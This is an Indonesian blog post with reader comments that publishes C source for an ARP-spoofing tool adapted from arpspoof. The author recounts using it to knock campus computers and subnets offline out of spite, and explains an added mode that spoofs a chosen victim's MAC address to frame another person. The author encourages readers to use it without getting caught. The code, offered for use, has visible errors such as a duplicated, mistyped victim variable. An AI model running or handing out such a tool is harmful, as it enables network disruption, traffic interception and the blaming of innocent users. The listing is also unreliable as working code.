October 24, 2007

silvarpspoof.c -- pengakuan dosa, penjelasan program

Mask Spoof

Program ini ditulis dalam bahasa C dan bisa di complie di mesin linux dengan compiler GCC.
bagi yang malas meng compile sendiri, mungkin nanti akan saya berikan link ke "executable code" nya.
Program ini membutuhkan library pcap terinstall di komputer

Program ini pernah digunakan untuk memutuskan koneksi beberapa komputer, atau mengisolir suatu subnet tertentu biar tidak bisa connect internet, kadang karena iseng, dendam atau karena alasan yang lainnya. (maafin yaa)

Dan program ini bekerja dengan baik untuk semua komputer di jaringan STT Telkom (entah sekarang masih bisa atau tidak), yang kamu perlu tahu hanya IP address target (dan kalo pengin memfitnah komputer lain, cari juga MAC address si victim -- cara mencari MAC address tidak dijelaskan di sini)

Cara kerjanya sebenarnya cukup sederhana, prinsipnya adalah melakukan ARP broadcast agar ARP table di tiap-tiap komputer yang menerima ARP broadcast tersebut berubah sesuai keinginan kita, sehingga ketika ada paket untuk si A, paket untuk si A tersebut diarahkan ke si B karena ARP tablenya sudah berubah.

Jika yang diracuni ARP broadcast seperti ini adalah router.. tebak sendiri akibatnya.. Yah.. intinya tadi itu yang ada di atas (mohon maaf kalo penjelasannya ga jelas, karena saya sendiri tidak mengerti konsep jaringan komputer :p)

Penggunaannya bisa bermacam-macam, tergantung kreativitas kita :D

Program ini saya modifikasi untuk "memfitnah" komputer lain. Karena apa gunanya kita "nakal" aklo akhirnya ketahuan, betul tidak ?

Namun sayang sekali, dari beberapa kali melakukan tindakan "nakal" tersebut.. dan karena ga pernah ketahuan, akhirnya suatu saat saya lengah, tidak menggunakan fitur penyamaran yang saya tambahkan ketika melakukan tindakan nakal dan komputer juga kutinggal makan ke warung, dan kebetulan sekali (kebetulan yang tidak mengenakkan) saat itu ada Maestro Temon aka Sleepy_eye aka kudanil (kapan ya aku bisa ngalahin orang ini!?) yang kemudian menganalisa dan mentrace ke komputer saya... (Duh...ketahuan deh).

Tapi sebenarnya, setelah ketahuan itu pun, aku masih beberapa kali menggunakan program ini (kali ini dengan mode penyamaran diaktifkan tentunya), karena meskipun mereka curiga, mereka tidak punya bukti apapun bahwa pelakunya adalah saya :D
Dan kebetulan saat itu mereka memiliki musuh bersama (salah satu lab di ged E yang sering membuat ulah). So, kumanfaatin sekalian... (maaf yaaa... gak lagi deh..)

So kalo lain kali mau menggunakan program ini, gunakanlah sebaik-baiknya...
jangan sekali-kali lengah :D


So here we go...

Beginilah penjelasan algoritma nya (bagi yang ga pengin tau cara kerja nya, gpp kok... program bisa langsung dijalankan tanpa perlu tau cara kerjanya )

Mohon maaf untuk maestro yang sudah biasa coding, kalo penjelasannya sangat n00b atau tidak profesional, atau bahkan salah... mohon masukannya yaaa...

Untuk yang baru di programming.. mohon maaf kalo penjelasannya gak jelas.. memang sengaja diuat gitu, biar banyak yang tanya, banyak yang ngasih comment... karena males gak sih udah nulis macem-macem kalo ternyata ga ada yang baca ? :D

So kasih komentar lah.. bertanya lah.. dan kan kuberikan apa yang bisa kuberikan <-- bahasanya guaya banget yak :p



//Bagian komentar.. tidak ikut terkompile dalam program
/*
silvarpspoof.c

Redirect packets from a target (or from all target host) intended for
host on the LAN/WAN to ourselves or to victim.

modified from arspoof by Dug Song

silverant

*/


//File-file Header yang dibutuhkan. Perhatikan bahwa dia membutuhkan library pcap.h


#include "config.h"

#include "sys/types.h"
#include "sys/param.h"
#include "stdio.h>
#include "string.h"
#include "signal.h"
#include "err.h"
#include "libnet.h"
#include "pcap.h"

extern char *ether_ntoa(struct ether_addr *);
extern int arp_cache_lookup(in_addr_t, struct ether_addr *);

//Definisi global variable

static struct libnet_link_int *llif;
static struct ether_addr spoof_mac, target_mac, victim_mac;
static in_addr_t spoof_ip, target_ip, victim_mac;
static char *intf;

//Procedure untuk menampilkan cara penggunaan jika user menjalankan program dengan argumen yang salah
void usage(void)
{
fprintf(stderr, " silvarpspoof, modified from arspoof by Dug Song \n Usage: silvarpspoof [-i interface] [-t target] -v [victim] host\n");
exit(1);
}

//Fungsi untuk mengirimkan paket ARP

int arp_send(struct libnet_link_int *llif, char *dev, int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)
{
// Pendefinisian local variable
char ebuf[128];
u_char pkt[60];

// Jika Source Host Adress kosong, maka...
if (sha == NULL )
{
sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf);
}
if (spa == 0)
{
if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)
return (-1);
spa = htonl(spa); /* XXX */
}
if (tha == NULL)
tha = "\xff\xff\xff\xff\xff\xff";

libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt);



fprintf(stderr, "%s ", ether_ntoa((struct ether_addr *)sha));

// Tampilkan informasi ke screen
if (op == ARPOP_REQUEST)
{
fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(tpa, 0),
libnet_host_lookup(spa, 0));
}
else
{
fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(spa, 0));
fprintf(stderr, "%s\n",
ether_ntoa((struct ether_addr *)sha));
}
return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt));
}

//jika mesin linux...
#ifdef __linux__
int arp_force(in_addr_t dst)
{
struct sockaddr_in sin;
int i, fd;

if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
return (0);

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = dst;
sin.sin_port = htons(67);

i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));

close(fd);

return (i == 0);
}
#endif

// Fungsi untuk mencari ARP.
int arp_find(in_addr_t ip, struct ether_addr *mac)
{
int i = 0;

do
{
if (arp_cache_lookup(ip, mac) == 0)
return (1);
#ifdef __linux__
/* XXX - force the kernel to arp. feh. */
arp_force(ip);
#else

arp_send(llif, intf, ARPOP_REQUEST, NULL, 0, NULL, ip);
#endif

sleep(1);
}
while (i++ < 3);

return (0);
}

void cleanup(int sig)
{
int i;

if (arp_find(spoof_ip, &spoof_mac))
{
for (i = 0; i < 3; i++)
{
/* XXX - on BSD, requires ETHERSPOOF kernel. */
arp_send(llif, intf, ARPOP_REPLY, (u_char *)&spoof_mac, spoof_ip, (target_ip ? (u_char *)&target_mac : NULL), target_ip);
sleep(1);
}
}
exit(0);
}

// Main program, semuanya berawal dari sini.
int main(int argc, char *argv[])
{
// Penciptaan dan Inisialisasi variable
int c;
char ebuf[PCAP_ERRBUF_SIZE];

intf = NULL;
spoof_ip = target_ip = 0;

// Parsing argumen (masukkan argumen ke tempat yang sesuai)
while ((c = getopt(argc, argv, "i:t:v:h?V")) != -1)
{
switch (c)
{
case 'i':
intf = optarg;
break;
case 't':
if ((target_ip = libnet_name_resolve(optarg, 1)) == -1)
usage();
break;
case 'v':
if ((victim_ip = libnet_name_resolve(optarg, 2)) == -1)
usage();
break;
default:
usage();
}
}
argc -= optind;
argv += optind;

//Jika Argumen <> 1 maka panggil fungsi usage (tunjukkan cara menggunakannya)
if (argc != 1)
usage();

// Spoof adalah komputer yang dijadikan pendengar (yang meng-catch) paket yang seharusnya ditujukan untuk target.
if ((spoof_ip = libnet_name_resolve(argv[0], 1)) == -1)
usage();

// intf adalah interface yang akan digunakan (misal : eth0 )
if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL)
errx(1, "%s", ebuf);

if ((llif = libnet_open_link_interface(intf, ebuf)) == 0)
errx(1, "%s", ebuf);

// Target adalah komputer sasaran, dimana paket-paket untuk target akan dibelokkan ke spoof
if (target_ip != 0 && !arp_find(target_ip, &target_mac))
errx(1, "couldn't arp for host %s", libnet_host_lookup(target_ip, 0));

// Victim adalah komputer yang ingin dijadikan "sasaran kemarahan" atau korban fitnah :D
if (victim_ip != 0 && !arp_find(victim_ip, &victim_mac))
errx(1, "couldn't arp for host %s", libnet_host_lookup(victim_ip, 0));

signal(SIGHUP, cleanup);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);

//lakukan hal di bawah ini selamanya (looping forever)
for (;;)
{
// arp_send(llif, intf, ARPOP_REPLY, NULL, spoof_ip, (target_ip ? (u_char *)&target_mac : NULL), target_ip);
// panggil fungsi pengirim arp
arp_send(llif, intf, ARPOP_REPLY, (victim_ip ? (u_char *)&victim_mac : NULL), spoof_ip, (target_ip ? (u_char *)&target_mac : NULL), target_ip);
sleep(2);
}
/* NOTREACHED */

exit(0);
}


Well... memang betul banyak yang ga saya jelasin di sini... sengaja biar pada tanya :D :D .. yah... sekedar biar blog saya rame :D

14 comments:

  1. wah... akhirnya...
    hum... mau jadi semangat mau nyoba nih...

    ReplyDelete
  2. ampun dije ...
    jangan dihek komputer saya T_T

    ReplyDelete
  3. @rizzurant : LOL

    @lazzybear : oh.. iya yak.. ternyata Om Rizzur juga pake semut... "semut-Rizzur" :D

    ReplyDelete
  4. wah wah.. Om kulkazh (l33t)udah memberi komentar...
    /me yang n00b udah ga bisa ngomong apa-apa lagi...

    ReplyDelete
  5. weleh
    akhirnya doi post juga salah satu 'alat'nya

    ReplyDelete
  6. alu....alu...
    'Lam 'nal euy!
    btw...punya listing program bwt game pake bhasa C ga? minta dunk...

    ReplyDelete
  7. Hi Uul, salam kenal juga...
    duh, pengin game yang bagaimana nih?

    Aku dulu waktu semester 1 sihpernah bikin game menggunakan bahasa C menggunakan Turbo C++ dan jalan di DOS.

    Program itu sudah memakai grafik meski sederhana. Program othello sederhana.. tanpa AI.. dan bisa dimainkan 2 orang. (tidak menggunakan jaringan)

    Apa mau ?

    Jika berminat, nanti saya carikan dulu source code nya.. tenang aja.. free kok :p

    ReplyDelete
  8. @Uul:
    Oh iya Ul...

    Kalo penginnya download game yang bagus dan yang penting ditulis dalam bahasa C.. kamu bisa cari game-game buat Linux... cari aja game yang kamu sukai di Linux, trus cari deh source codenya...

    Biasanya sih open source (source code nya bisa kamu dapetin gratis dan bisa kamu ubah-ubah sesuai keinginan kamu) dan karena Linux sendiri dibuat pake C, maka akan sangat mudah menemukan game berbahasa C di linux...

    :)

    selamat mencari ya...

    ReplyDelete
  9. ha ha ha...
    lha kalo mereka pada baca blog kamu gimana nich... o o kamu ketahuan ... Berhubung tidak ada orang yang mau dikerjain ~ pada baik2 smua nich di kantor. Kapan2 aj dech; kalo udah bnyak musuh. Peace ^^

    ReplyDelete
  10. @henry h:
    Hehehe... korbannya beberapa orang udah baca kok...
    karena itulah disebut 'pengakuan dosa' soalnya, biar yang pernah kena juga membaca, trus memaafkan :)

    kalo udah banyak musuh ? Jangan sampai kalii....

    Tapi persiapan emang penting :D :D
    v^ ^

    ReplyDelete